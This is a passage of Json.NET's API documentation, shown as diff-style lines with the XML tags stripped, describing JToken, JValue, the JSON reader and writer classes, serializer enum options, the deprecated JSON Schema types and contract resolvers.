asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains + the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Asynchronously creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous creation. The + property returns a that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the path of the JSON token. + + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of tokens that contain this token, and the ancestors of this token. + + A collection of tokens that contain this token, and the ancestors of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output should be formatted. + A collection of s which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to []. + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from [] to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Creates a for this token. + + A that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object. + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the JSON value. + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + An positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + Creates a from a . + + A positioned at the token to read into this . + The used to load the JSON. + If this is null, default load settings will be used. + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Creates a from a . + + A positioned at the token to read into this . + + A that contains the token and its descendant tokens + that were read from the reader. The runtime type of the token is determined + by the token type of the first token encountered in the reader. + + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A , or null. + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + A . + + + + Selects a using a JSONPath expression. Selects the token that matches the object path. + + + A that contains a JSONPath expression. + + The used to select tokens. + A . + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. + An of that contains the selected elements. + + + + Selects a collection of elements using a JSONPath expression. + + + A that contains a JSONPath expression. + + The used to select tokens. + An of that contains the selected elements. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A new instance of the . + + + + Creates a new instance of the . All child tokens are recursively cloned. + + A object to configure cloning settings. + A new instance of the . + + + + Adds an object to the annotation list of this . + + The annotation to add. + + + + Get the first annotation object of the specified type from this . + + The type of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets the first annotation object of the specified type from this . + + The of the annotation to retrieve. + The first annotation object that matches the specified type, or null if no annotation is of the specified type. + + + + Gets a collection of annotations of the specified type for this . + + The type of the annotations to retrieve. + An that contains the annotations for this . + + + + Gets a collection of annotations of the specified type for this . + + The of the annotations to retrieve. + An of that contains the annotations that match the specified type for this . + + + + Removes the annotations of the specified type from this . + + The type of annotations to remove. + + + + Removes the annotations of the specified type from this . + + The of annotations to remove. + + + + Compares tokens to determine whether they are equal. + + + + + Determines whether the specified objects are equal. + + The first object of type to compare. + The second object of type to compare. + + true if the specified objects are equal; otherwise, false. + + + + + Returns a hash code for the specified object. + + The for which a hash code is to be returned. + A hash code for the specified object. + The type of is a reference type and is null. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Gets the at the reader's current position. + + + + + Initializes a new instance of the class. + + The token to read from. + + + + Initializes a new instance of the class. + + The token to read from. + The initial path of the token. It is prepended to the returned . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Gets the path of the current JSON token. + + + + + Specifies the type of token. + + + + + No token type has been set. + + + + + A JSON object. + + + + + A JSON array. + + + + + A JSON constructor. + + + + + A JSON object property. + + + + + A comment. + + + + + An integer value. + + + + + A float value. + + + + + A string value. + + + + + A boolean value. + + + + + A null value. + + + + + An undefined value. + + + + + A date value. + + + + + A raw JSON value. + + + + + A collection of bytes value. + + + + + A Guid value. + + + + + A Uri value. + + + + + A TimeSpan value. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets the at the writer's current position. + + + + + Gets the token being written. + + The token being written. + + + + Initializes a new instance of the class writing to the given . + + The container being written to. + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the underlying . + + + + + Closes this writer. + If is set to true, the JSON is auto-completed. + + + Setting to true has no additional effect, since the underlying is a type that cannot be closed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end. + + The token. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes a value. + An error will be raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Represents a value in JSON (string, integer, date, etc). + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Initializes a new instance of the class with the given value. + + The value. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Creates a comment with the given value. + + The value. + A comment with the given value. + + + + Creates a string with the given value. + + The value. + A string with the given value. + + + + Creates a null value. + + A null value. + + + + Creates a undefined value. + + A undefined value. + + + + Gets the node type for this . + + The type. + + + + Gets or sets the underlying token value. + + The underlying token value. + + + + Writes this token to a . + + A into which this method will write. + A collection of s which will be used when writing the token. + + + + Indicates whether the current object is equal to another object of the same type. + + + true if the current object is equal to the parameter; otherwise, false. + + An object to compare with this object. + + + + Determines whether the specified is equal to the current . + + The to compare with the current . + + true if the specified is equal to the current ; otherwise, false. + + + + + Serves as a hash function for a particular type. + + + A hash code for the current . + + + + + Returns a that represents this instance. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format provider. + + A that represents this instance. + + + + + Returns a that represents this instance. + + The format. + The format provider. + + A that represents this instance. + + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: + Value + Meaning + Less than zero + This instance is less than . + Zero + This instance is equal to . + Greater than zero + This instance is greater than . + + + is not of the same type as this instance. + + + + + Specifies how line information is handled when loading JSON. + + + + + Ignore line information. + + + + + Load line information. + + + + + Specifies how JSON arrays are merged together. + + + + Concatenate arrays. + + + Union arrays, skipping items that already exist. + + + Replace all array items. + + + Merge array items together, matched by index. + + + + Specifies how null value properties are merged. + + + + + The content's null value properties will be ignored during merging. + + + + + The content's null value properties will be merged. + + + + + Specifies the member serialization options for the . + + + + + All public members are serialized by default. Members can be excluded using or . + This is the default member serialization mode. + + + + + Only members marked with or are serialized. + This member serialization mode can also be set by marking the class with . + + + + + All public and private fields are serialized. Members can be excluded using or . + This member serialization mode can also be set by marking the class with + and setting IgnoreSerializableAttribute on to false. + + + + + Specifies metadata property handling options for the . + + + + + Read metadata properties located at the start of a JSON object. + + + + + Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. + + + + + Do not try to read metadata properties. + + + + + Specifies missing member handling options for the . + + + + + Ignore a missing member and do not attempt to deserialize it. + + + + + Throw a when a missing member is encountered during deserialization. + + + + + Specifies null value handling options for the . + + + + + + + + + Include null values when serializing and deserializing objects. + + + + + Ignore null values when serializing and deserializing objects. + + + + + Specifies how object creation is handled by the . + + + + + Reuse existing objects, create new objects when needed. + + + + + Only reuse existing objects. + + + + + Always create new objects. + + + + + Specifies reference handling options for the . + Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . + + + + + + + + Do not preserve references when serializing types. + + + + + Preserve references when serializing into a JSON object structure. + + + + + Preserve references when serializing into a JSON array structure. + + + + + Preserve references when serializing. + + + + + Specifies reference loop handling options for the . + + + + + Throw a when a loop is encountered. + + + + + Ignore loop references and do not serialize. + + + + + Serialize loop references. + + + + + Indicating whether a property is required. + + + + + The property is not required. The default state. + + + + + The property must be defined in JSON but can be a null value. + + + + + The property must be defined in JSON and cannot be a null value. + + + + + The property is not required but it cannot be a null value. + + + + + + Contains the JSON schema extension methods. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + true if the specified is valid; otherwise, false. + + + + + + Determines whether the is valid. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + When this method returns, contains any error messages generated while validating. + + true if the specified is valid; otherwise, false. + + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + + + + + Validates the specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + The source to test. + The schema to test with. + The validation event handler. + + + + + An in-memory representation of a JSON Schema. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the id. + + + + + Gets or sets the title. + + + + + Gets or sets whether the object is required. + + + + + Gets or sets whether the object is read-only. + + + + + Gets or sets whether the object is visible to users. + + + + + Gets or sets whether the object is transient. + + + + + Gets or sets the description of the object. + + + + + Gets or sets the types of values allowed by the object. + + The type. + + + + Gets or sets the pattern. + + The pattern. + + + + Gets or sets the minimum length. + + The minimum length. + + + + Gets or sets the maximum length. + + The maximum length. + + + + Gets or sets a number that the value should be divisible by. + + A number that the value should be divisible by. + + + + Gets or sets the minimum. + + The minimum. + + + + Gets or sets the maximum. + + The maximum. + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). + + A flag indicating whether the value can not equal the number defined by the minimum attribute (). + + + + Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). + + A flag indicating whether the value can not equal the number defined by the maximum attribute (). + + + + Gets or sets the minimum number of items. + + The minimum number of items. + + + + Gets or sets the maximum number of items. + + The maximum number of items. + + + + Gets or sets the of items. + + The of items. + + + + Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . + + + true if items are validated using their array position; otherwise, false. + + + + + Gets or sets the of additional items. + + The of additional items. + + + + Gets or sets a value indicating whether additional items are allowed. + + + true if additional items are allowed; otherwise, false. + + + + + Gets or sets whether the array items must be unique. + + + + + Gets or sets the of properties. + + The of properties. + + + + Gets or sets the of additional properties. + + The of additional properties. + + + + Gets or sets the pattern properties. + + The pattern properties. + + + + Gets or sets a value indicating whether additional properties are allowed. + + + true if additional properties are allowed; otherwise, false. + + + + + Gets or sets the required property if this property is present. + + The required property if this property is present. + + + + Gets or sets the a collection of valid enum values allowed. + + A collection of valid enum values allowed. + + + + Gets or sets disallowed types. + + The disallowed types. + + + + Gets or sets the default value. + + The default value. + + + + Gets or sets the collection of that this schema extends. + + The collection of that this schema extends. + + + + Gets or sets the format. + + The format. + + + + Initializes a new instance of the class. + + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The object representing the JSON Schema. + + + + Reads a from the specified . + + The containing the JSON Schema to read. + The to use when resolving schema references. + The object representing the JSON Schema. + + + + Load a from a string that contains JSON Schema. + + A that contains JSON Schema. + A populated from the string that contains JSON Schema. + + + + Load a from a string that contains JSON Schema using the specified . + + A that contains JSON Schema. + The resolver. + A populated from the string that contains JSON Schema. + + + + Writes this schema to a . + + A into which this method will write. + + + + Writes this schema to a using the specified . + + A into which this method will write. + The resolver used. + + + + Returns a that represents the current . + + + A that represents the current . + + + + + + Returns detailed information about the schema exception. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + + Generates a from a specified . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets how undefined schemas are handled by the serializer. + + + + + Gets or sets the contract resolver. + + The contract resolver. + + + + Generate a from the specified type. + + The type to generate a from. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + Generate a from the specified type. + + The type to generate a from. + The used to resolve schema references. + Specify whether the generated root will be nullable. + A generated from the specified type. + + + + + Resolves from an id. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets or sets the loaded schemas. + + The loaded schemas. + + + + Initializes a new instance of the class. + + + + + Gets a for the specified reference. + + The id. + A for the specified reference. + + + + + The value types allowed by the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + No type specified. + + + + + String type. + + + + + Float type. + + + + + Integer type. + + + + + Boolean type. + + + + + Object type. + + + + + Array type. + + + + + Null type. + + + + + Any type. + + + + + + Specifies undefined schema Id handling options for the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Do not infer a schema Id. + + + + + Use the .NET type name as the schema Id. + + + + + Use the assembly qualified .NET type name as the schema Id. + + + + + + Returns detailed information related to the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Gets the associated with the validation error. + + The JsonSchemaException associated with the validation error. + + + + Gets the path of the JSON location where the validation error occurred. + + The path of the JSON location where the validation error occurred. + + + + Gets the text description corresponding to the validation error. + + The text description. + + + + + Represents the callback method that will handle JSON schema validation events and the . + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + A camel case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Resolves member mappings for a type, camel casing property names. + + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used by to resolve a for a given . + + + + + Gets a value indicating whether members are being get and set using dynamic code generation. + This value is determined by the runtime permissions available. + + + true if using dynamic code generation; otherwise, false. + + + + + Gets or sets the default members search flags. + + The default members search flags. + + + + Gets or sets a value indicating whether compiler generated members should be serialized. + + + true if serialized compiler generated members; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. + + + true if the interface will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. + + + true if the attribute will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. + + + true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. + + + true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. + + + + + Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. + + The naming strategy used to resolve how property names and dictionary keys are serialized. + + + + Initializes a new instance of the class. + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Gets the serializable members for the type. + + The type to get serializable members for. + The serializable members for the type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates the constructor parameters. + + The constructor to create properties for. + The type's member properties. + Properties for the given . + + + + Creates a for the given . + + The matching member property. + The constructor parameter. + A created for the given . + + + + Resolves the default for the contract. + + Type of the object. + The contract's default . + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Creates a for the given type. + + Type of the object. + A for the given type. + + + + Determines which contract type is created for the given type. + + Type of the object. + A for the given type. + + + + Creates properties for the given . + + The type to create properties for. + /// The member serialization mode for the type. + Properties for the given . + + + + Creates the used by the serializer to get and set values from a member. + + The member. + The used by the serializer to get and set values from a member. + + + + Creates a for the given . + + The member's parent . + The member to create a for. + A created for the given . + + + + Resolves the name of the property. + + Name of the property. + Resolved name of the property. + + + + Resolves the name of the extension data. By default no changes are made to extension data names. + + Name of the extension data. + Resolved name of the extension data. + + + + Resolves the key of the dictionary. By default is used to resolve dictionary keys. + + Key of the dictionary. + Resolved key of the dictionary. + + + + Gets the resolved name of the property. + + Name of the property. + Name of the property. + + + + The default naming strategy. Property names and dictionary keys are unchanged. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + The default serialization binder used when resolving and loading classes from type names. + + + + + Initializes a new instance of the class. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + The type of the object the formatter creates a new instance of. + + + + + When overridden in a derived class, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer that writes to the application's instances. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides information surrounding an error. + + + + + Gets the error. + + The error. + + + + Gets the original object that caused the error. + + The original object that caused the error. + + + + Gets the member that caused the error. + + The member that caused the error. + + + + Gets the path of the JSON location where the error occurred. + + The path of the JSON location where the error occurred. + + + + Gets or sets a value indicating whether this is handled. + + true if handled; otherwise, false. + + + + Provides data for the Error event. + + + + + Gets the current object the error event is being raised against. + + The current object the error event is being raised against. + + + + Gets the error context. + + The error context. + + + + Initializes a new instance of the class. + + The current object. + The error context. + + + + Get and set values for a using dynamic methods. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Provides methods to get attributes. + + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Used by to resolve a for a given . + + + + + + + + + Resolves the contract for a given type. + + The type to resolve a contract for. + The contract for a given type. + + + + Used to resolve references when serializing and deserializing JSON by the . + + + + + Resolves a reference to its object. + + The serialization context. + The reference to resolve. + The object that was resolved from the reference. + + + + Gets the reference for the 